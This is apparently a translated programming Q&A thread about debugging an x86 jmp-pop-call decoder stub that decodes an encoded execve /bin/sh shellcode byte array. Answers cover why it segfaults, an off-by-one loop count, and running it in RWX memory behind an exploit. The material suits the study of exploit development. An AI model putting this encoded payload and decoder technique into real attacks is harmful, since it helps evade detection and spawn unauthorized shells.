使用jmp-pop-call技术的汇编解码器

时间:2014-12-18 22:59:00

标签: python assembly x86 decoder

这是我无法弄清楚错误的代码的一部分。我正在使用jmp-pop-call技术,我得到的是“Segmentation Fault”。试图使用GDB,但事情真的很模糊。每个字节在python中由1编码,我想要的是使用以下代码部分进行解码:

global _start

section .text

_start:

    jmp short call_shellcode

decoder:

    pop esi
    xor eax, eax
    mov edx, 23

decode:

    mov bl, byte[esi+eax]
    dec byte[esi+eax]

cont:

    cmp eax,edx
    jz short encodedShellcode
    inc eax
    jmp short decode

call_shellcode:

    call decoder
    encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,

3 个答案:

答案 0 :(得分:0)

由于缓存,在新CPU中使用自修改代码并不是一个好主意。这将是非常缓慢的。

在上面的代码中,我可以看到两个错误来源:

  1. 如果代码段是只读的,dec byte [esi+eax]将失败。它取决于汇编程序/链接器。

  2. encodedShesscode db语句中的代码可能有误并导致分段错误。您减少了此代码的每个字节,但是代码是什么以及在更改后从问题中得到的内容是什么。

  3. 修正提示:

    1. 使您的细分读取/写入。它是自修改代码的必需品。
    2. 使用更好的调试器,在encodedShellcode上设置断点并检查已解码的指令以查找问题。

答案 1 :(得分:0)

mov edx, 23

你做的迭代太多了!只需用22初始化EDX。

encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,

使用逗号终止一行时汇编程序的行为是什么?

答案 2 :(得分:0)

如果您打算将此shellcode放在漏洞利用后面,那么源文件中定义的部分权限就不重要了。通常,可以使用nasm -f bin(或来自另一个汇编程序的类似东西)编译类似的东西,并假设代码在其中运行的内存已经是读/写/执行。

出于测试目的,您可以创建一个测试运行器,它分配一些rwx内存,在编译的代码中写入,然后跳转到它。如果上面的代码被用作测试程序,并且实际上不是shellcode前面的解码头,那么更改section属性就没问题了。

或者,一旦获得代码的位置,就可以使用mprotect / VirtualProtect并在更改编码字节之前将代码所在的页面设置为rwx。

当我为混淆代码编写解码存根时,我通常用文本部分中的数据组装解码器部分(类似于你正在做的),但是将汇编器输出设置为二进制(没有图像类型,只是组装x86字节码)。当写入rwx内存时,该输出应该正常运行。